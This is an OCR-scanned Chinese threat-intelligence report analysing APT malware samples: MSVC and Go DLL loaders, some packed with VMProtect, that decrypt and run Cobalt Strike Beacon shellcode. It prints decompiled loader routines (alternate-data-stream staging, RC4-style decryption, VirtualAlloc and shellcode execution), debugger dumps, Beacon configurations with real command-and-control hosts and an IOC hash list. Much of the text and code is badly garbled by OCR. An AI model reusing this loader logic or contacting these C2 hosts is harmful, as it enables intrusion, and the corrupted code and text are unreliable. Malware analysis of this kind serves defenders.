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1. WEMF 5
o 1
MD5 2109479e62f3c45bab00768553b158b8
ST DLLENSHE
RN 225280 Bytes
FFER MSVC

SRR —MSVC DLLX M+, 18I 347 AT LA A DLLZ £ Visual StudioZE AECA R N FAFE PP B £
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https://cn-sec.com/archives/3199719.html
https://cn-sec.com/archives/tag/%e9%ab%98%e7%ba%a7%e5%a8%81%e8%83%81
https://cn-sec.com/archives/tag/%e9%ab%98%e7%ba%a7%e5%a8%81%e8%83%81

.chsize = 8@;
.1lpfnkndProc = (WNDPROC)sub 138881980;
style = 35
_QWORD *)&v4.cbhClsExtra = 8ifd;
.hInstance = al;
.hIcon = LoadIconW(al, (LPCWSTR)@x6E);
.hCursor = LoadCursori(@ied, (LPCWSTR)@x7/Foe);
.1lpszClassName = &ClassName;
ml28i *)&v4.hbrBackground = _mm_load sil28((const _ ml281 *)&xmmword_ 188813208 ;
IconSm = LoadIconW(v4.hInstance, (LPCWSTR)@x6C);
vl = RegisterClassExd{8v4d);
GetWolumeInformationk( /i FREEER
L™C:WN\",
&volumeNameBuffer,
Bxledu,
&value,
EMaximumComponentlength,
&FilesystemFlags,
&FilesSystemiameBuffer,
Bxledu);
nsize = 268;
GetComputerNamel(&word 18002082F8, &nSize); Jf EEE S
DesktopWindow = GetDesktopWindow(};
if { DesktopWindow )
GetWindowRect{DesktopWindow, &Rect);

RIERIEE R %Temp%NVidiaSetupkd8812u , AR A RE AATWEKFHEE , EEF—THK
JaA R ShellExecute TENL IR , S E &I A4,

# < = o

# = s

P o~ P |.\. |-\. |.\.H-\. P P

n =
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memset(Dst, @, Bx288uibd);
ExpandEnvironmentStringsW({L"%Temp®'\ \NVidiaSetup™, (LPWSTR)Dst, @x184u);
CreateDirectoryW( (LPCWSTR)Dst, @164);
vl = (wchar_t *)&vs[46];
do
i

v2 = vi[1] == @;

++wl ;
h
while { !v2 };
woscpy(vl, L"\\kd8812u"};
CreateDirectoryW( (LPCWSTR)Dst, @164);
Vi o= -1i64;
do

+Hv3;
while { Dst[v3] );
vd = (wchar_t *)&vs[46];

do

1
w2 o= '-,'-’—[1] == @,
-|—|-'.;.'1J-

i

while { !v2 };

wescpy(vd, L":S5tream”);

sub_l3eealiea(Dst);

if ( (unsigned  inte4)(2i64 * (int)v3) >= 8x208 )

i
report rangecheckfailure();
jﬂxlﬂﬂﬂﬂlﬁﬂim} ;
¥
Dst[{int)v3] = @;
Sleep(7@08U);

ShellExecuteW(®isd, L"print™, (LPCWSTR)Dst, @164, 8i6d, 8):

[ A2 MR — B S MEBRARIDLLI M , SHCAMBAIDLLI AHER AR EKey , SHHEN : /NG
TSR AR _fiE & Key.
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EwpandEnvironmentStringsW(src, String, ex1e4u);// EEHEEREE
result = LoadlLibraryW(5tring);
vd = result;
if ( !result
return result;
result = (HMODULE)GetProcAddress{result, ProcName);
vS = result;
if { !result
return result;
= (char *)VirtualAlloc(@is4, @x116uibd, Bx38@8u, Bx48u);

v i

-~

T =
SR

if ( !ve )

return @ig4;
i64toa(( int64)vd, ve, 16); /R Tl
vE = v7 - 13
do

vl = *HpuE == 83
while ( !v9 );
*(_WORD *)va
wle = v7 - 1;
do

vE o= FHbuli == B8;
while ( !v3 );
vll = BiG4;
do f g ERTE_BEKey
1

0 s

/12 = a9dad785a9fdeSe[vil];
w1B[v1l++] = wl2;
b
while ( v12 });
stcall *}(char *, _ inte4, char *))v3)(v7, vil, - a9d8d785a9fde5e);

MD5 d21c4b1c1db2c9f443c4ba271f738¢c91
SR DLLsheEEE

A/ 2503168 Bytes

“W¥{5E  Golang

ZHEHRABGOEERE , T A5 2N FFEME , TETERENT :

FRFFE E gopsuti[ 1M EEHEEHBEEIEERKE.

4/12



github com shirou gopsutil v3 host BootTimeWithContext();
v36[3] = v26;
if ( v39 )
1
/27 = gqword B4FBB698 == w39 ? runtime_ifaceeq() ™~ 1 : 1;
if ( va?v )
return 8LL;

2] g ithub _com shirou gopsutil w3 host UptimeWithContext();

A~
LI.I
L

v28 = gqword G64F36698 == v39 ? runtime_ifaceeq() ~ 1 : 1;
if ( v23
return 8LL;

b
w29 = w393
github com shirou gopsutil v3 process PidsWithContext(v35);
if ( al )
w29 = @LL;
else
al = 8LL;
v3G[4] = v29;
if ( al )
1
w38 = ( QWORD *)gword 64F36698 == 3l ? runtime_ ifaceeq() ~ 1 : 1;

/3
if ( v3e )
return 8LL;

github com shirou gopsutil v3 host HeostIDWithContext();

w3b;

6[22] = w39;
( dword G4FDBE7@ )

runtlme_gcwrlteﬁarrler(j;

FIRITIRM B screenshot 2IEHUF R RIGH EZHEERE , BHREGNKENE AN LIREREEHREX
.

[ ||
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active = github_com_kbinani screenshot_NumActiveDisplays();
w58 = active;

vd = @8LL;

while ( active > v8 )

1

(431
|7 I

VR
SOy

ayBounds = github_com_kbinani_screenshot GetDisplayBounds({v25);

3 =

=P

v13;
github_com kbinani_screenshot_CaptureRect(v31, DisplayBounds, w46, w51);

vd )

i B LI
=k A0 O
- [y I ]
——
1}

= v16;
& = runtime gopanic(v32, w42);
goto LABEL_17;

vl

¥

LAy

~ O
]

SR L R e S R

'
¥

|
1 o
a o0

l

e T

= "¥d ¥dx¥d.png";

= 1201;

path_filepath_ join(v32, w42, v48);

KT RBXAHNTIRRE , BEHAPITEEERN.
B LRMSVCIER S E A\ EKey I T+ 2 HIfigRD.

wl
mmmreararm
(THN S T SR T I N I
| NS Ry SNy SESS S )
[

wl

|

v8 = runtime gostring();
vl5 = strings genSplit({vo, v12);
if ( vl 1=2)

return @LL;

v18 = v3;

vd = *(_QWORD *)(v3 + 8);
strconv_ParseInt(v1a, v13, v15);
if ( vd )

return @LL;

o

/6 = *(_QWORD *)(v1E8 + 16);

runtime stringtoslicebyte(v1l, v14, v1G);

if { v7 < encoding_hex Decode() ) J R BERey
runtime panicSlicefcap();

if ( ve )
return @LL;

else

return v17;

SRR B IR ) Base64ZREn eI , B MM EKeyMEEERN (HWAMERKERCARE) , RIEAM
R,
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encoding base64 Encoding DecodeString(al, a2, qword GAFS486@, v5);// S RIE
if ( lal )
main_ asduiwom663@422(v11, @LL, v7, vi, a2); // BEPayload

for ( i = BLL; i < 8x188; ++i )
*(_BYTE *)(v7 + 1} = 1i;

V5 = @LL;

wE o= 83

while

1

( vS < ex1e8 )
v1@ = *{unsigned _ int
if ( !vls )

1

B FY(vE + v7);

vd = runtime_panicdivide();
goto LABEL_13;

¥
if { v5 % v15 »= (unsigned _ i
runtime_panicIndex();

nt64)vis )

vl 4= v1@ + *(unsigned _ int8 *)({vi4 + v5 % v15);

*({ BYTE *}(v7 + v5) = *( BYTE *)}((unsigned  int8)v9 + v7};
*(_BYTE *}(v7 + (unsigned __ int8)v9) = v1@;

+HuSy

o BH

CERRHLAME , F—RBFIREEE NEME RIS ZBETT.

Bicu | JpE | wse | oms | mapmey | O BRE | sosen | o | AIng | OBRB | Cam | ey | Lol | ¢ BE

[RIPET] E8 86090000 call 0xC@OOB7D7OF [Decrypt -
4| eeo000C000B7CDE9 83C3 08 add ebx, 8x8
€| ee0000C000B7CDSC 41:3BDE cmp ebx, ridd RAX  ©6e00G0BEeR12FB7E )
@|eoooceceeeB7CD8F | ~ 72 C9 ib_©@xCe8eB7CDS5A RBX  ©000000000008030 1
4| ceeeeaceeeB7CD91 41:FFD7 h ris shellcode2] | RCX ©00000600012FB5@ )
Wouv | imx| Jms| otis | m™ ith | sosen | x| @158 | O HKE | RDX  GooeseceseB3ce1d
| ee00000028180000 | <05 248BBDSA add eax, 0x8ABDSB24 e REP 0000R0000012FBEO
r11+4@:"5" <fl RSP  000PEEEEEL12FAE
4| eepope002d1 80005 85 6FF1C318 add eax, @x18C3F16F LlJ Rl 000000CO0OEIC 11D
4| co0000002418000A 85 B4144EFA add eax, OxFA4E14B4 _ —
@|cecoeoee2f18000F 55 push rbp 2l (64 REERE)
d|eee0p000§B180010 48:89E5 mov rbp, rsp : [rsp+20] ©000000028180030
d|eeoonoonfs180013 48:81E4 @OFFFFFF and rsp, OxFFFFFFFFFFFFFFO@ 6: [rsp+28] 000000000012FB70
4| coeeceeeps18001A 48:81EC ©0OBOOR sub rsp, 0xB@e
Q| eooo000apP 8180021 48:8D15 FBeeeeee lea rdx, qword ptr ds:[@x281808120] £00000000012FAES [l =TTl
T ~]| eocoooe0012F AL S | 0PORRBCROOB
i oLl S SR / :j 00000000001 2FAFO |00000BCE00B
000PPPAA28180000 @5 24 8B BD|8A @5 6F F1|/C3 18 @5 B4 |14 4E FA 55|.%.%..ofnA.. .NdU / 00000000001 2FAFS | 00000000772
©00000G028180010 48 89 E5 48 |81 E4 00 FF|FF FF 48 81 |EC 90 @B 00| H.&H.53.yyyH.1... 00000600001 2F 300 | 00000000281
0000000028180020 00 48 8D 15 |F8 00 00 00 |48 89 55 E@ |48 8D 4D DO|.H..g...H.UaH.MD
©000P0G028180030 |00 OO 00 00|00 00 00 00 |00 00 0O 00|00 90 00 90| ................ 0000000RPO VI DS | PAGINGEG0

B BB NEE R k5108 CobaltStrike Beacont&tk,
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o | iEs | LiEE | @ g | mmormnst | COVERRE | sosen | LolmE | @@e | O BRS |

L | BPPPPPRB28180200 98 nop
d|opopeop028180201 50 nop
d|creeeere28180202 90 nop
d|0o000e00028180203 50 nop
d|opope00p028180204 50 nop
d|0000000028180205 50 nop
d|0000e00028180206 50 nop
@|0000e00r028180207 90 nop
@|0000e00028180208 4AD:5A pop ril@
d|opo0e0002818020A 41:52 push ri1e
d|opeee0r02818020C 55 push rbp
LD |
Mz #HIZMAIPE Signature
PPOPEERB28180200
oty 1 | wuiig 2 | bumis 3 | suiig 4 | wuiie s | [Pdm 1 | eaBE | 2 s |
Het 7 i ASCII

000P00RR23180208|4D 5AJ41 52 (55 48 89 ES (48 81| EC 20 (00 60 00 A8|MZARUH.&H.i ...H
0POPAPEA28180218|8D 1D EA FF |FF FF 48 89 |DF 48|81 C3|CC 60 91 08| ..8yyyH.RH.AI ..
PPOPOPOR28180228 | FF D3 41 B8 |F@ B5 A2 56 |68 94|00 90|00 SA 48 89 yOA du¢vh....7H.
000PEPOP23180238|F9 FF DO 00 (00 0P 00 00 |00 pe|oe eo|F8 éo 00 eeluyb......... @. ..
000PEPOP28180248 |AB DB 14 EF |56 F5 27 DD |91 39)12 28 a2 61 06 8A KU.IiVe'Y.9.(d¢a..
000P00EV28180258|DD AA Al F2|CD 22 64 5C |A2 SE|A7 44 [11 D6 C2 2A|Y2;0I"d\¢~§D.0A*
P0OPEPEP23180268 | FD 7B CA AC |72 AP CD 86 |7E E7|D1 58[48 CB F9 CD|y{ELr I.~cRXHEGI
000P0RRR28180278|12 29 97 1E (89 4AE EC CC|1D F3|AD 30 69 18 9A|.)...NiI.6.c:i..
00PP00RR28180288 |07 87 4D AO (B8 A2 3C 36|C9 8o|C4 AA F3 90 47|..M . ¢<6E.A.26.G
00PPERRA28180298|3D C2 96 66 |EC 73 8B AC |39 18|80 A9 52 F2 64|=A.fis.-9...@Rod
P0PPEOEN281802A8|C3 16 69 3D |7D 20 E8 14 |DF SE|BB SD 1F 37 AS|A.i=} &.R"»%].7¥
000PEPRR281802B8|C4 57 D8 41 (8F 72 10 1E|7E 2E|13 §3 (@3 39 72 B6|AWPA.r..~..6.91r9
000PAPOR281802C8 |40 FA 22 2F |BB E6 8B BC|FE 90| 2B B7 |36 26 41 07 |@0"/»=.Xp.+.68RA.
2]
E

=] \D O

g000e0ee281802D8 |FF 96 78 Db |EF 38 E2 E7 |83 C5|AB 71 C6 2C A9|y.x0i8ac.A«Dgk,®
fPAPRLA0281802ES|C1 17 52 7F |92 5B B3 9C BB _72YB2¥8E (D1 17 A5 19|A.R..[3.»r2 fl.¥.
0Do0PPO0281802F8 BA ©3 ©3 F7 |EB 3C 35 1B|4E AF 00 ©06 |64 86 ©5 B0 |2..+e<5.NO..d...
200080E028180308 (90 80 08 80 |00 99 80 08 |C3 FF FF FF|F@ 98 23 Ba|........ Ayiyya.#°

1B S fi#tTBeacontit Bt E {5 E R 41C2 : strengthening-memories-reports-
restoration.trycloudflare.com:443,
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.I:IEilTlE! : Not Found

ening-memories-reports-restoration. trycloudflare. com: 443

Ht F._.zﬂlr
fatermarl:

2. VMPXUE In#k 3%

HEHEAPTIFIEFRENAIN T —AHRIIMBS , F—NEHITANEMIAT XEMES 2 ERNE S
ZEVMPERA

(BUFXTEL A QS A TS, U AHVMPINE 2SI 3V MBEERERS . )
o HEH1
MD5 26669891d83b8a706d2c0af91292247¢
LR DLLENZSSEIEFE
RN 7072768 Bytes
1RFP25 VMProtect 3.XX x64

TLEX A INE GoLang BB AR R AR AR LL, -

Eicr | rom | O | e dich | e amd | Gl | s | o omE | A58 | O WS o | il | @ew | ips o aid | o pamdt | G mmm | s | we | 2R | omRA | oopm | el | & oEn
18 n DI DADAOL lea rba, quord ptr ds:[@w?FEECSFEDIA)
[BxTFEFEBSERIS | LOF 15 8209
: %]
i §, a
W, o |
. TREECSE 104
naw, TFEFGBA 1048 M} movw "
D | lea %, quord ptr H 1
i 1 = 2R e
DOOROTFEFGBA1060 | FF15 62B00GK call mm st 1 [<ExpandEnvironsent sty 0000TFEECSE 1061 i 17100 BRI b TEEECTC 2851
45:8808 ey > 4888 [ " x
¢ [tLoadL ibrar: il | |=: .lon)n.\- cal ww . TFEECBE1925

[T FEF GRS EARD ) PEEECSEL162
1.

g [T FEECSELAR ]
1.

[ cGatProcaddresss |

[ 1
r[virtualallocs

rod, guword ptr !
ra e . TREFCRERT TR

9/12



o HR2

MD5 4ce5eal38c4d486bed7f6d9e9208133c6
PGt DLLENSA

RN 8276480 Bytes

1RIPES VMProtect 3.XX x64

Base64ﬁ$ﬁ%&ﬁ$5§%ﬁﬁﬁﬁﬁﬁﬁﬁfmI:lz

chI ._rE$| U | ema | =i | OV ilmie | sisen | ojwE | A58 | OBRE | S 3) Eou | _Jas| Dk | e | vt | iRt | sses | s | amE | o@Ra | -
b 8 AC:89C3 mov rbx, r8 7E 8 AC:89C3 mov rbx, r8&
4C:89C9 mov rcx, rd 4C:89C9 mov rox, r9
£6:98 nop a 66:98 nop
ES SBDEFSFF |cnl.1 new . G4EB5ABE |encoding_bases4_ En ES SBDEFSFF |q|11 new. TAGESASE. encoding_base6d_
AB:BSFF test rdi, rdi 48:85FF test rdi, rdi
¥ 74 13 je new.64EG7C3D - 74 13 je new.7@747C3D
31ce XOr eax, eax 31Cce XOP eax, eax
3108 xor ebx, ebx ebx:L"athan"™ 3108 xor ebx, ebx
A48 :8509 mov rcx, rbx 48:8909 mov rcx, rbx
31FF xor edi, edi 31FF xor edi, edi
48:8B6C24 30 |mov rbp, gword ptr ss:frspréx3ie] 48:8B6C24 30 |mov rbp, qword ptr ss:frsp+8x36f] [[rep+30]:Createp
48:83C4 38 add rsp, 8x38 4B:83C4 38 add rsp, @x38
C3 ret c3 ret
48:BB7C24 50 mov rdi, gqword ptr ss:frsp+8x56] 48:8B7C24 50 |mov rdi, qword ptr [[r=p+axsey
48:887424 58 mov rsi, gword ptr ss:frspe@xSg] PBEE08070 48:8B7424 58 |mov rsi, quord ptr frsp+8x58)
A4C:8B4424 68 mov r8, quword ptr ss:frspréxce]] 2B0000 AC:8B4424 6@ \mov r8, qword ptr ss:frspeexeal]
EE BFFAFFFF  |gall new.G4E676ES main_asduiwom663842 | E8 SFFAFFFF |8 new.7087476E0 main_asduiwombs3
BF 01000000 |mov edi, @x1 BeE08a0078 BF 91988088 |mov edi, @xl
BeR00R0864E6TC56 48:886(24 30 mov rbp, gword ptr ss:frspsex3e] PEARRAHE 48:886C24 3@ |mov rbp. aword ptr ss:Brsp+ex3ell |[rspe30]:Createp

o By
iR BUE BB AR ARDXILL,

| inte4 _ fastcall sub_4178F(_ inte4 al, int a2, int a3, unsigns 1| inte4 _ fastcall sub 4C3@F(_ inte4 al, int a2, int a3, unsigned
{ 2N
int v6; // rled 3| int we; // rled
int v7; // rlld 4 int v7; // rlld
int vo; // edi 5| int v // edi
_WORD *vle; // rl4 [ _WORD *v1@; f/ rl4
_WORD *v11; [/ ril5 7| _WORD *v11; // ri5
unsigned int wl2; // esi 3| unsigned int wi2; // esi
int v13; // ebx 9| dint w13; // ebx
unsigned int wld; // eax 12 | unsigned int wl4; // eax
int vi5; // edi 11| int wil5; // edi
unsigned _ intlé v16; /f/ dx 12| unsigned _ intle v16; // dx
unsigned int w17; // edx 13 unsigned int w17; // edx
unsigned int w18; // ebp 14 | unsigned int v18; // ebp
int v19; // eax 15 | int w19; // eax
__int64 result; // rax 16 | _ int64 result; // rax
void (*v23)(void); // [rsp+38h] [rbp+2eh] 17 | void (*v23)(woid); // [rsp+38h] [rbp+28h]
18
vE = a3; 19 vEe = a3;
(7 = al; 28 v7 = ai;
7 21 v o= 7
*{void (**}){void))al; 22| w23 = *(void (**){void))al;
= (_WORD *)(a6 + 28); 23 = (_WORD *){at + 28);
= (_WORD *)(a6 + 68); 24 = (_WORD *){a6 + 68);
= 25[3] | ((22[2] | ((22[1] | (*a% << 8)) << 8)) << 8); @ 25| viz = aa[3] | ((=4[2] | ((s4[1] | (*a4 << B)) << B)) << B);
= a4[7] | ((=26] | ((=2[5] | (a4[4] << B)) << B8)) << B); ® 26| vis = aa[7] | ((s4[6] | ((a4[5] | (a4[4] << 8)) << 8)) << 8);
27
28
sub_418FD(v7, v6, vi3, vI, a6); 29 = sub_4BCFD(v7, v6, v13, v9, a6);
- 1; 38 = w3 - 13
4 " ((2 * (HIWORD(v14) & *v12)) | ({unsigned int)(HI ® 31 4 A ((2 * (HIWORD(v14) & *vie)) | ((unsigned int)(HIWO
w12 1 32 v1G
+ ((HIWORD(v14) ~ {unsigned _ int1g)((2 * (vi& | *v11)] 33 + ((HINORD( 14) ~ {unsigned _ intl6)((2 * (v1& | *vi:
w17 = (unsigned _ int16)(vi2 ~ ((2 * (HIWORD(v12) & *( - @34 V17 = (un;lgned __int1E)(v1Z ~ ((2 * (HIWORD(v12) & *(
vl = v17 + ((HIWORD(w12) ~ ({2 * (w17 | *((_DWORD *)v1l - ! @ 35 vlg = v17 + ((HINDRD( 23 & ({2 * (vi7 | *{(_DWORD *)vwil - 1))
if ( *(_QWORD *)(al + 8) ) 36 5 ( *(_OWORD *)(al 4 8) )
37
v23(); 33 v23();
#(_QWORD *)(al + 8) = @is4; 39 #(_QWORD *)(al + 8) = @i64;

5 5 FFE K 51713 CobaltStrike Beacontiisk , @it fig#iBeaconti kit E (= S AT 41C2 :
64.176.58.16:80,
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eaconlype: HITPE
'ort: B0
FipelNam=: Not Found

I N

L. ,_,._.l-ll""l—lr .
fmin/infSign. min. js

'nst : Joommony Js/min/infSizn. min. jsYapplid=1000&busin
retHeaders:

» serveraddrweb. kugow. com
st-Language: en-15, en: g=0. 5
ccept-Fncoding: gzip, deflate
Commection: keep-alive
FostHeaders:
Aorg * {4
o 11' ent-Type: appl i Za 1' i or/ x —www—f orm-url encoded
m_u_pt-l.ulﬂla )
Content—-t Vhe .
Host: ﬂHLuUllE:J-.kuguu.GDm
lzerbzent: Hu“1111:5 L. (Windows NT 10.0: Winfd: xfd: rv:111.0)
HttpFostlUri: / A
latermarl:

oke]

IEFEAPTALRE FEARuUst, Nim, GoLang%Z #MRifiE S T AR IREFHES , IERBLRPITRIET
HRBRBEANEE |, FREETBI4HETACHERIAPTAHLR (APT29, Gamaredon%) , BHMHEES
T N CUERNBERE , MHESRIERE., AXRBTEENIEVMPIRAIEM S GE AHAMES |, 1
LEDHTREA KR AIEM, FECERATT AT A SRR T , AT , HEMFIE A I minE KKk
A%

ffs% 10C

MD5

4a8756b22029a88506744ab7864c9b83

2109479e62f3c45bab00768553b158b8

d21c4b1c1db2c9f443c4ba271f738c91

9ad37ce054ca1523d26bb49fbc80dff6

26669891d83b8a706d2c0af91292247¢

4ceb5ea38c4d486bed7f6d9e9208133c6

C&C
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[1] https://github.com/shirou/gopsultil

[2] https://github.com/kbinani/screenshot

[3] https://mp.weixin.qq.com/s/IB2w86cXcpmGS8qrOnprkw

[4] https://ti.defender.microsoft.com/articles/541a465f
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